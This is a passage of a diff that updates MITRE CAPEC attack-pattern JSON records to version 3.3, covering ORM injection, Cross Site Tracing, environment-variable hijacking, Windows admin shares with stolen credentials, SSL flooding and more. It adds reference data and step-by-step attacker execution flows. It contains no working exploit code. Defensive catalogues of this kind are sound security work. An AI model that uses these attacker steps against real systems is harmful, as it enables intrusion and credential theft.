commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.", + "description": "An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.", "external_references": [ { "source_name": "capec", @@ -72,6 +72,7 @@ "x_capec_example_instances": [ "When using Hibernate, it is possible to use the session.find() method to run queries against the database. This is an overloaded method that provides facilities to perform binding between the supplied user data and place holders in the statically defined query. However, it is also possible to use the session.find() method without using any of these query binding overloads, hence effectively concatenating the user supplied data with rest of the SQL query, resulting in a possibility for SQL injection. While the framework may provide mechanisms to use methods immune to SQL injections, it may also contain ways that are not immune that may be chosen by the developer." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine Persistence Framework Used: An attacker tries to determine what persistence framework is used by the application in order to leverage a weakness in the generated data access layer code or a weakness in a way that the data access layer may have been used by the developer.

    2. Techniques
    An attacker provides input to the application in an attempt to induce an error screen that reveals a stack trace that gives an indication of the automated data access layer used. Or an attacker may simply make some educated guesses and assume, for instance, that Hibernate is used and try to craft an attack from there.

  2. Probe for ORM Injection vulnerabilities: The attacker injects ORM syntax into user-controllable data inputs of the application to determine if it is possible modify data query structure and content.

Exploit

  1. Perform SQL Injection through the generated data access layer: An attacker proceeds to exploit a weakness in the generated data access methods that does not properly separate control plane from the data plan, or potentially a particular way in which developer might have misused the generated code, to modify the structure of the executed SQL queries and/or inject entirely new SQL queries.

    2. Techniques
    An attacker uses normal SQL injection techniques and adjusts them to reflect the type of data access layer generation framework used by the application.
", "x_capec_likelihood_of_attack": "Low", "x_capec_prerequisites": [ "An application uses data access layer generated by an ORM tool or framework", @@ -86,7 +87,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f1336271-5f27-40de-a61b-aba6572d120f.json b/capec/attack-pattern/attack-pattern--f1336271-5f27-40de-a61b-aba6572d120f.json index c80aae1269..b82f284c10 100644 --- a/capec/attack-pattern/attack-pattern--f1336271-5f27-40de-a61b-aba6572d120f.json +++ b/capec/attack-pattern/attack-pattern--f1336271-5f27-40de-a61b-aba6572d120f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--c5dcc0b6-9a91-4cfc-a566-39e7e3b84fe7", + "id": "bundle--e290e973-080c-4324-97eb-b8a607463a61", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--f1336271-5f27-40de-a61b-aba6572d120f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Cryptanalysis", "description": "Cryptanalysis is a process of finding weaknesses in cryptographic algorithms and using these weaknesses to decipher the ciphertext without knowing the secret key (instance deduction). Sometimes the weakness is not in the cryptographic algorithm itself, but rather in how it is applied that makes cryptanalysis successful. An attacker may have other goals as well, such as: Total Break (finding the secret key), Global Deduction (finding a functionally equivalent algorithm for encryption and decryption that does not require knowledge of the secret key), Information Deduction (gaining some information about plaintexts or ciphertexts that was not previously known) and Distinguishing Algorithm (the attacker has the ability to distinguish the output of the encryption (ciphertext) from a random permutation of bits).", "external_references": [ @@ -22,6 +22,21 @@ "url": "http://cwe.mitre.org/data/definitions/327.html", "external_id": "CWE-327" }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1240.html", + "external_id": "CWE-1240" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1241.html", + "external_id": "CWE-1241" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1279.html", + "external_id": "CWE-1279" + }, { "source_name": "reference_from_CAPEC", "description": "Wikipedia, The Wikimedia Foundation, Inc", @@ -41,6 +56,7 @@ "x_capec_example_instances": [ "A very easy to understand example is a cryptanalysis technique called frequency analysis that can be successfully applied to the very basic classic encryption algorithms that performed mono-alphabetic substitution replacing each letter in the plaintext with its predetermined mapping letter from the same alphabet. This was considered an improvement over a more basic technique that would simply shift all of the letters of the plaintext by some constant number of positions and replace the original letters with the new letter with the resultant alphabet position. While mono-alphabetic substitution ciphers are resilient to blind brute force, they can be broken easily with nothing more than a pen and paper. Frequency analysis uses the fact that natural language is not random and mono-alphabetic substitution does not hide the statistical properties of the natural language. So if the letter \"E\" in an English language occurs with a certain known frequency (about 12.7%), whatever \"E\" was substituted with to get to the ciphertext, will occur with the similar frequency. Having this frequency information allows the cryptanalyst to quickly determine the substitutions and decipher the ciphertext. Frequency analysis techniques are not applicable to modern ciphers as they are all resilient to it (unless this is a very bad case of a homegrown encryption algorithm). This example is inapplicable to modern cryptographic ciphers but is here to illustrate a rudimentary example of cryptanalysis." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. An attacker discovers a weakness in the cryptographic algorithm or a weakness in how it was applied to a particular chunk of plaintext.

Exploit

  1. An attacker leverages the discovered weakness to decrypt, partially decrypt or infer some information about the contents of the encrypted message. All of that is done without knowing the secret key.

", "x_capec_likelihood_of_attack": "Low", "x_capec_prerequisites": [ "The target software utilizes some sort of cryptographic algorithm.", @@ -56,7 +72,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f14acee3-770c-4154-a9b2-9eda908c6a9f.json b/capec/attack-pattern/attack-pattern--f14acee3-770c-4154-a9b2-9eda908c6a9f.json index f6ae24be20..c08c471b57 100644 --- a/capec/attack-pattern/attack-pattern--f14acee3-770c-4154-a9b2-9eda908c6a9f.json +++ b/capec/attack-pattern/attack-pattern--f14acee3-770c-4154-a9b2-9eda908c6a9f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--ae6979ed-c2e6-46ff-a3c3-03d12e8022e5", + "id": "bundle--163af9d0-9d3e-4750-8200-f365cd6fb60e", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--f14acee3-770c-4154-a9b2-9eda908c6a9f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Cross Site Tracing", - "description": "Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to destination system's web server. The adversary first gets a malicious script to run in the victim's browser that induces the browser to initiate an HTTP TRACE request to the web server. If the destination web server allows HTTP TRACE requests, it will proceed to return a response to the victim's web browser that contains the original HTTP request in its body. The function of HTTP TRACE, as defined by the HTTP specification, is to echo the request that the web server receives from the client back to the client. Since the HTTP header of the original request had the victim's session cookie in it, that session cookie can now be picked off the HTTP TRACE response and sent to the adversary's malicious site. XST becomes relevant when direct access to the session cookie via the \"document.cookie\" object is disabled with the use of httpOnly attribute which ensures that the cookie can be transmitted in HTTP requests but cannot be accessed in other ways. Using SSL does not protect against XST. If the system with which the victim is interacting is susceptible to XSS, an adversary can exploit that weakness directly to get his or her malicious script to issue an HTTP TRACE request to the destination system's web server. In the absence of an XSS weakness on the site with which the victim is interacting, an adversary can get the script to come from the site that he controls and get it to execute in the victim's browser (if he can trick the victim's into visiting his malicious website or clicking on the link that he supplies). However, in that case, due to the same origin policy protection mechanism in the browser, the adversary's malicious script cannot directly issue an HTTP TRACE request to the destination system's web server because the malicious script did not originate at that domain. An adversary will then need to find a way to exploit another weakness that would enable him or her to get around the same origin policy protection.", + "description": "Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to destination system's web server. The adversary first gets a malicious script to run in the victim's browser that induces the browser to initiate an HTTP TRACE request to the web server. If the destination web server allows HTTP TRACE requests, it will proceed to return a response to the victim's web browser that contains the original HTTP request in its body. The function of HTTP TRACE, as defined by the HTTP specification, is to echo the request that the web server receives from the client back to the client. Since the HTTP header of the original request had the victim's session cookie in it, that session cookie can now be picked off the HTTP TRACE response and sent to the adversary's malicious site. XST becomes relevant when direct access to the session cookie via the \"document.cookie\" object is disabled with the use of httpOnly attribute which ensures that the cookie can be transmitted in HTTP requests but cannot be accessed in other ways. Using SSL does not protect against XST. If the system with which the victim is interacting is susceptible to XSS, an adversary can exploit that weakness directly to get their malicious script to issue an HTTP TRACE request to the destination system's web server. In the absence of an XSS weakness on the site with which the victim is interacting, an adversary can get the script to come from the site that they control and get it to execute in the victim's browser (if they can trick the victim's into visiting their malicious website or clicking on the link that they supplies). However, in that case, due to the same origin policy protection mechanism in the browser, the adversary's malicious script cannot directly issue an HTTP TRACE request to the destination system's web server because the malicious script did not originate at that domain. An adversary will then need to find a way to exploit another weakness that would enable them to get around the same origin policy protection.", "external_references": [ { "source_name": "capec", @@ -54,8 +54,9 @@ ] }, "x_capec_example_instances": [ - "An adversary determines that a particular system is vulnerable to reflected cross-site scripting (XSS) and endeavors to leverage this weakness to steal the victim's authentication cookie. An adversary realizes that since httpOnly attribute is set on the user's cookie, it is not possible to steal it directly with his malicious script. Instead, the adversary has their script use XMLHTTP ActiveX control in the victim's IE browser to issue an HTTP TRACE to the target system's server which has HTTP TRACE enabled. The original HTTP TRACE request contains the session cookie and so does the echoed response. The adversary picks the session cookie from the body of HTTP TRACE response and ships it to the adversary. The adversary then uses the newly acquired victim's session cookie to impersonate the victim in the target system." + "An adversary determines that a particular system is vulnerable to reflected cross-site scripting (XSS) and endeavors to leverage this weakness to steal the victim's authentication cookie. An adversary realizes that since httpOnly attribute is set on the user's cookie, it is not possible to steal it directly with their malicious script. Instead, the adversary has their script use XMLHTTP ActiveX control in the victim's IE browser to issue an HTTP TRACE to the target system's server which has HTTP TRACE enabled. The original HTTP TRACE request contains the session cookie and so does the echoed response. The adversary picks the session cookie from the body of HTTP TRACE response and ships it to the adversary. The adversary then uses the newly acquired victim's session cookie to impersonate the victim in the target system." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine if HTTP Trace is enabled: Determine if HTTP Trace is enabled at the web server with which the victim has a an active session

    2. Techniques
    An adversary may issue an HTTP Trace request to the target web server and observe if the response arrives with the original request in the body of the response.

Experiment

  1. Identify mechanism to launch HTTP Trace request: The adversary attempts to force the victim to issue an HTTP Trace request to the targeted application.

    2. Techniques
    The adversary probes for cross-site scripting vulnerabilities to force the victim into issuing an HTTP Trace request.

Exploit

  1. Create a malicious script that pings the web server with HTTP TRACE request: Create a malicious script that will induce the victim's browser to issue an HTTP TRACE request to the destination system's web server. The script will further intercept the response from the web server, pick up sensitive information out of it, and forward to the site controlled by the adversary.

    2. Techniques
    The adversary's malicious script circumvents the httpOnly cookie attribute that prevents from hijacking the victim's session cookie directly using document.cookie and instead leverages the HTTP TRACE to catch this information from the header of the HTTP request once it is echoed back from the web server in the body of the HTTP TRACE response.

  2. Execute malicious HTTP Trace launching script: The adversary leverages a vulnerability to force the victim to execute the malicious HTTP Trace launching script

", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "HTTP TRACE is enabled on the web server", @@ -71,7 +72,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f156c3d0-eeb3-4e12-b075-8995c009de55.json b/capec/attack-pattern/attack-pattern--f156c3d0-eeb3-4e12-b075-8995c009de55.json index 3309f91e87..41bb0002df 100644 --- a/capec/attack-pattern/attack-pattern--f156c3d0-eeb3-4e12-b075-8995c009de55.json +++ b/capec/attack-pattern/attack-pattern--f156c3d0-eeb3-4e12-b075-8995c009de55.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--72a7fd7d-b5e2-44b3-bdec-b95c3038230f", + "id": "bundle--28c26a77-0b1a-468a-83da-12af2a53c4cf", "spec_version": "2.0", "objects": [ { @@ -101,7 +101,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f17dd173-6fcf-4f43-8f72-0f274dde5fc5.json b/capec/attack-pattern/attack-pattern--f17dd173-6fcf-4f43-8f72-0f274dde5fc5.json index cc8118faf9..8d4c437d5a 100644 --- a/capec/attack-pattern/attack-pattern--f17dd173-6fcf-4f43-8f72-0f274dde5fc5.json +++ b/capec/attack-pattern/attack-pattern--f17dd173-6fcf-4f43-8f72-0f274dde5fc5.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--7bbc39b7-82d5-4b5f-b56f-cd9bf634f2ba", + "id": "bundle--67cedb91-7788-48b8-92ca-135c34ad17f1", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--f17dd173-6fcf-4f43-8f72-0f274dde5fc5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Rogue Integration Procedures", "description": "An attacker alters or establishes rogue processes in an integration facility in order to insert maliciously altered components into the system. The attacker would then supply the malicious components. This would allow for malicious disruption or additional compromise when the system is deployed.", "external_references": [ @@ -40,7 +40,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f18ec51a-9ecd-49bf-9b91-5f5288306f70.json b/capec/attack-pattern/attack-pattern--f18ec51a-9ecd-49bf-9b91-5f5288306f70.json index f481e6bd73..79afc5df8e 100644 --- a/capec/attack-pattern/attack-pattern--f18ec51a-9ecd-49bf-9b91-5f5288306f70.json +++ b/capec/attack-pattern/attack-pattern--f18ec51a-9ecd-49bf-9b91-5f5288306f70.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--559b213b-9a59-46f0-9c44-4a11a2a497a3", + "id": "bundle--cbb0a141-710a-48d1-add4-f8dda64a4d38", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--f18ec51a-9ecd-49bf-9b91-5f5288306f70", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-05-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Adding a Space to a File Extension", "description": "An adversary adds a space character to the end of a file extension and takes advantage of an application that does not properly neutralize trailing special elements in file names. This extra space, which can be difficult for a user to notice, affects which default application is used to operate on the file and can be leveraged by the adversary to control execution.", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/46.html", "external_id": "CWE-46" + }, + { + "source_name": "ATTACK", + "description": "Masquerading:Space after Filename", + "url": "https://attack.mitre.org/wiki/Technique/T1036/006", + "external_id": "T1036.006" } ], "object_marking_refs": [ @@ -44,7 +50,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f190e1b3-e8d6-4aef-817c-b3e7782e2aed.json b/capec/attack-pattern/attack-pattern--f190e1b3-e8d6-4aef-817c-b3e7782e2aed.json index 63b9026d05..6ecfed22ca 100644 --- a/capec/attack-pattern/attack-pattern--f190e1b3-e8d6-4aef-817c-b3e7782e2aed.json +++ b/capec/attack-pattern/attack-pattern--f190e1b3-e8d6-4aef-817c-b3e7782e2aed.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--40d2a12d-be31-49c2-b680-9354cf70da13", + "id": "bundle--892c4947-02a0-4cee-91ab-d6819c6097cb", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--f190e1b3-e8d6-4aef-817c-b3e7782e2aed", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Subverting Environment Variable Values", "description": "The attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.", "external_references": [ @@ -57,6 +57,24 @@ "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" }, + { + "source_name": "ATTACK", + "description": "Impair Defenses:HISTCONTROL", + "url": "https://attack.mitre.org/wiki/Technique/T1562/003", + "external_id": "T1562.003" + }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow:LD_PRELOAD", + "url": "https://attack.mitre.org/wiki/Technique/T1574/006", + "external_id": "T1574.006" + }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow:Path Interception by PATH Environment Variable", + "url": "https://attack.mitre.org/wiki/Technique/T1574/007", + "external_id": "T1574.007" + }, { "source_name": "reference_from_CAPEC", "description": "G. Hoglund, G. McGraw, Exploiting Software: How to Break Code, 2004--02, Addison-Wesley", @@ -71,6 +89,9 @@ "Access_Control": [ "Bypass Protection Mechanism" ], + "Accountability": [ + "Hide Activities" + ], "Authorization": [ "Bypass Protection Mechanism" ], @@ -91,6 +112,7 @@ "Changing the LD_LIBRARY_PATH environment variable in TELNET will cause TELNET to use an alternate (possibly Trojan) version of a function library. The Trojan library must be accessible using the target file system and should include Trojan code that will allow the user to log in with a bad password. This requires that the attacker upload the Trojan library to a specific location on the target. As an alternative to uploading a Trojan file, some file systems support file paths that include remote addresses, such as \\\\172.16.2.100\\shared_files\\trojan_dll.dll. See also: Path Manipulation (CVE-1999-0073)", "The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \" ls\" will not be saved, but \"ls\" would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. The attacker probes the application for information. Which version of the application is running? Are there known environment variables? etc.

Experiment

  1. The attacker gains control of an environment variable and ties to find out what process(es) the environment variable controls.

Exploit

  1. The attacker modifies the environment variable to abuse the normal flow of processes or to gain access to privileged resources.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "An environment variable is accessible to the user.", @@ -104,7 +126,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f1b2ac67-1040-4927-bad6-17eab5d8e17c.json b/capec/attack-pattern/attack-pattern--f1b2ac67-1040-4927-bad6-17eab5d8e17c.json index 49916a7a44..b91bba42e7 100644 --- a/capec/attack-pattern/attack-pattern--f1b2ac67-1040-4927-bad6-17eab5d8e17c.json +++ b/capec/attack-pattern/attack-pattern--f1b2ac67-1040-4927-bad6-17eab5d8e17c.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--202a2b21-1ed4-442c-905a-0a4d2a8a02e8", + "id": "bundle--69deddee-ad93-494b-af77-62693d2b98dd", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f2654def-b86d-4ddb-888f-de6b50a103a2.json b/capec/attack-pattern/attack-pattern--f2654def-b86d-4ddb-888f-de6b50a103a2.json index ba0424132e..8b3eb49c07 100644 --- a/capec/attack-pattern/attack-pattern--f2654def-b86d-4ddb-888f-de6b50a103a2.json +++ b/capec/attack-pattern/attack-pattern--f2654def-b86d-4ddb-888f-de6b50a103a2.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--6bdec05a-0086-47de-94fb-8b4c0bfc7cec", + "id": "bundle--d7005c20-ab9d-4958-a0e4-d1a254cac473", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--f2654def-b86d-4ddb-888f-de6b50a103a2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Windows Admin Shares with Stolen Credentials", - "description": "Windows systems have hidden network shares that are only accessible to administrators and allow files to be written to the local computer. Example network shares include: C$, ADMIN$ and IPC$. Adversaries may use valid administrator credentials to remotely access a network share to transfer files and execute code. It is possible for adversaries to use NTLM hashes to access administrator shares on systems with certain configuration and patch levels.", + "description": "An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain. Windows systems within the Windows NT family contain hidden network shares that are only accessible to system administrators. These shares allow administrators to remotely access all disk volumes on a network-connected system and further allow for files to be copied, written, and executed, along with other administrative actions. Example network shares include: C$, ADMIN$ and IPC$. If an adversary is able to obtain legitimate Windows credentials, the hidden shares can be accessed remotely, via server message block (SMB) or the Net utility, to transfer files and execute code. It is also possible for adversaries to utilize NTLM hashes to access administrator shares on systems with certain configuration and patch levels.", "external_references": [ { "source_name": "capec", @@ -21,14 +21,102 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/522.html", "external_id": "CWE-522" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/294.html", + "external_id": "CWE-294" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/263.html", + "external_id": "CWE-263" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/262.html", + "external_id": "CWE-262" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/521.html", + "external_id": "CWE-521" + }, + { + "source_name": "ATTACK", + "description": "Remote Services:SMB/Windows Admin Shares", + "url": "https://attack.mitre.org/wiki/Technique/T1021/002", + "external_id": "T1021.002" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Overview of problems that may occur when administrative shares are missing, 2017--03---13, Microsoft Corporation", + "url": "https://support.microsoft.com/en-us/help/842715/overview-of-problems-that-may-occur-when-administrative-shares-are-mis", + "external_id": "REF-577" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Rob Smallridge, HAPT15 is alive and strong: An analysis of RoyalCli and RoyalDNS, 2018--03---10, NCC Group", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "external_id": "REF-578" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Assaf Dahan, Operation Cobalt Kitty: Cybereason Labs Analysis, 2017, CyberReason", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", + "external_id": "REF-579" } ], "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "x_capec_abstraction": "Detailed", + "x_capec_consequences": { + "Access_Control": [ + "Gain Privileges" + ], + "Authentication": [ + "Gain Privileges" + ], + "Authorization": [ + "Read Data" + ], + "Confidentiality": [ + "Gain Privileges", + "Read Data" + ], + "Integrity": [ + "Modify Data" + ] + }, + "x_capec_example_instances": [ + "APT32 has leveraged Windows' built-in Net utility to use Windows Administrative Shares to copy and execute remote malware. [REF-579]", + "In May 2017, APT15 laterally moved within a Windows domain via Windows Administrative Shares to copy files to and from compromised host systems. This further allowed for the remote execution of malware. [REF-578]" + ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Acquire known Windows administrator credentials: The adversary must obtain known Windows administrator credentials in order to access the administrative network shares.

    2. Techniques
    An adversary purchases breached Windows administrator credentials from the dark web.
    An adversary leverages a key logger or phishing attack to steal administrator credentials as they are provided.
    An adversary conducts a sniffing attack to steal Windows administrator credentials as they are transmitted.
    An adversary gains access to a Windows domain system/files and exfiltrates Windows administrator password hashes.
    An adversary examines outward-facing configuration and properties files to discover hardcoded Windows administrator credentials.

Experiment

  1. Attempt domain authentication: Try each Windows administrator credential against the hidden network shares until the target grants access.

    2. Techniques
    Manually or automatically enter each administrator credential through the target's interface.

Exploit

  1. Malware Execution: An adversary can remotely execute malware within the administrative network shares to infect other systems within the domain.

  2. Data Exfiltration: The adversary can remotely obtain sensitive data contained within the administrative network shares.

", + "x_capec_prerequisites": [ + "The system/application is connected to the Windows domain.", + "The target administrative share allows remote use of local admin credentials to log into domain systems.", + "The adversary possesses a list of known Windows administrator credentials that exist on the target domain." + ], + "x_capec_resources_required": [ + "A list of known Windows administrator credentials for the targeted domain." + ], + "x_capec_skills_required": { + "Low": "Once an adversary obtains a known Windows credential, leveraging it is trivial." + }, "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f2fe393c-54a7-424e-b5d8-e461942ca0f8.json b/capec/attack-pattern/attack-pattern--f2fe393c-54a7-424e-b5d8-e461942ca0f8.json index 503e32d9f2..88b2e0587f 100644 --- a/capec/attack-pattern/attack-pattern--f2fe393c-54a7-424e-b5d8-e461942ca0f8.json +++ b/capec/attack-pattern/attack-pattern--f2fe393c-54a7-424e-b5d8-e461942ca0f8.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--6d3a7be6-d1c0-4541-be21-c0f4be43a5f9", + "id": "bundle--c295a59a-2eeb-42c0-8811-60c60ab87ce6", "spec_version": "2.0", "objects": [ { @@ -43,7 +43,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f30a7c37-4d87-41d2-a103-c995948076f3.json b/capec/attack-pattern/attack-pattern--f30a7c37-4d87-41d2-a103-c995948076f3.json index b628b38656..02ac4496f1 100644 --- a/capec/attack-pattern/attack-pattern--f30a7c37-4d87-41d2-a103-c995948076f3.json +++ b/capec/attack-pattern/attack-pattern--f30a7c37-4d87-41d2-a103-c995948076f3.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--ab983965-8e9a-46af-a0f3-810f9292b62a", + "id": "bundle--3317a7ad-5eaa-4bfc-a172-b6c4d6eef5ef", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--f30a7c37-4d87-41d2-a103-c995948076f3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "SSL Flood", "description": "An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/770.html", "external_id": "CWE-770" + }, + { + "source_name": "ATTACK", + "description": "Endpoint Denial of Service:Service Exhaustion Flood", + "url": "https://attack.mitre.org/wiki/Technique/T1499/002", + "external_id": "T1499.002" } ], "object_marking_refs": [ @@ -31,7 +37,7 @@ "This type of an attack requires the ability to generate a large amount of SSL traffic to send a target server." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f361b649-0cf1-4af0-b6a8-e626d73ccca4.json b/capec/attack-pattern/attack-pattern--f361b649-0cf1-4af0-b6a8-e626d73ccca4.json index 1b8123c0aa..00df39dae9 100644 --- a/capec/attack-pattern/attack-pattern--f361b649-0cf1-4af0-b6a8-e626d73ccca4.json +++ b/capec/attack-pattern/attack-pattern--f361b649-0cf1-4af0-b6a8-e626d73ccca4.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--3e644e6d-2a59-4623-baf3-20dc2a1c24f1", + "id": "bundle--e95aaf0d-1e1f-44d4-b938-25ee03f1fabc", "spec_version": "2.0", "objects": [ { @@ -67,7 +67,7 @@ "x_capec_likelihood_of_attack": "Medium", 